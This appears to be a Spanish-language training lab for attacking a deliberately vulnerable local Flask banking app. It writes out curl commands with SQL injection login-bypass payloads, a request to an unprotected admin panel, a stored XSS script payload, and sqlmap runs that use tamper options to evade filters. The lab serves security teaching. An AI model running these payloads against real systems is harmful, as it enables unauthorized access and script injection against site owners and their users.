# Laboratorio: Explotación de Vulnerabilidades en SecureBankApp

## 1. Preparar el entorno

1. **Abrir terminal Bash**
   **Vamos a trabajar en una terminal compatible con Bash (Git-Bash, WSL, Linux o macOS).**

**Instalar sqlmap**

**pip install sqlmap**

2. ***Explicación*: `pip install` descarga e instala la herramienta de automatización de SQLi.**

3. **Clonar o situarse en la carpeta del proyecto**
   **Asegúrate de estar en la carpeta donde está `SecureBankApp.py` y el `requirements.txt`.**

**Instalar dependencias de Flask**

**pip install -r requirements.txt**

4. ***Explicación*: instala Flask y sqlite3 (incluido en Python).**

## 2. Arrancar la aplicación vulnerable

**python SecureBankApp.py**

- **Qué hace: crea (o abre) la BD `securebank.db`, añade el usuario `admin`, y levanta el servidor en `http://127.0.0.1:5000` en modo debug.**

## 3. SQL Injection manual con `curl`

### 3.1 Bypass genérico (`' OR '1'='1' -- `)

**curl -v -X POST http://127.0.0.1:5000/login **

**--data-urlencode "username=' OR '1'='1' -- " **

**--data-urlencode "password="**

- **Qué hace:**
  - **Cierra el literal de `username` con `'`**
  - **Inyecta `OR '1'='1'` para que la condición sea siempre verdadera**
  - **El `--` comenta el resto (`AND password=…`)**
  - **El servidor responde con `302 Found` → `/dashboard`, mostrando que te logueaste sin credenciales válidas.**

### 3.2 Login como admin directo (`admin' -- `)

**curl -v -X POST http://127.0.0.1:5000/login **

**--data "username=admin' -- " **

**--data "password="**

- **Qué hace:**
  - **Inyecta directamente sobre el usuario `admin` y comenta la contraseña**
  - **Resultado: `302 Found` → acceso como `admin`.**

## 4. Acceso expuesto al panel de administración

**curl -v http://127.0.0.1:5000/admin**

- **Qué hace:**
  - **Solicita la ruta `/admin`**
  - **Respuesta `200 OK` con el HTML del panel, sin necesidad de autenticación.**

## 5. XSS persistente con `curl`

**curl -v -X POST http://127.0.0.1:5000/contact **

**--data-urlencode "name=<script>alert('XSS')</script>" **

**--data-urlencode "message=Prueba"**

- **Qué hace:**
  - **Añade una entrada con `<script>alert('XSS')</script>`**
  - **El servidor redirige a `/contact`.**
  - **Al abrir `http://127.0.0.1:5000/contact` en navegador, verás el `alert('XSS')`, confirmando la persistencia.**

## 6. Automatizar SQLi con `sqlmap`

### 6.1 Prueba básica con comentario

```
sqlmap \
  -u "http://127.0.0.1:5000/login" \
  --data="username=foo&password=foo" \
  -p username \
  --dbms SQLite \
  --prefix="' OR '1'='1' -- " \
  --ignore-code=401 \
  --batch
```

- Qué hace:
    - Indica a sqlmap la URL, el parámetro vulnerable, y el payload de comentario
    - `--ignore-code=401` le permite continuar tras respuestas de “Credenciales inválidas”
    - `--batch` automatiza las respuestas a las preguntas interactivas.

**6.2 Técnica avanzada con tamper y nivel/riesgo**

```
sqlmap \
  -u "http://127.0.0.1:5000/login" \
  --data="username=foo&password=foo" \
  -p username \
  --dbms SQLite \
  --level 3 --risk 2 \
  --tamper=space2comment \
  --ignore-code=401 \
  --batch
```

- **Qué hace:**
  - `--level 3 --risk 2` **amplía el set de pruebas (más payloads)**
  - `--tamper=space2comment` **modifica espacios a comentarios para evadir filtros básicos**
  - **Detecta automáticamente inyección boolean-blind, time-based y UNION.**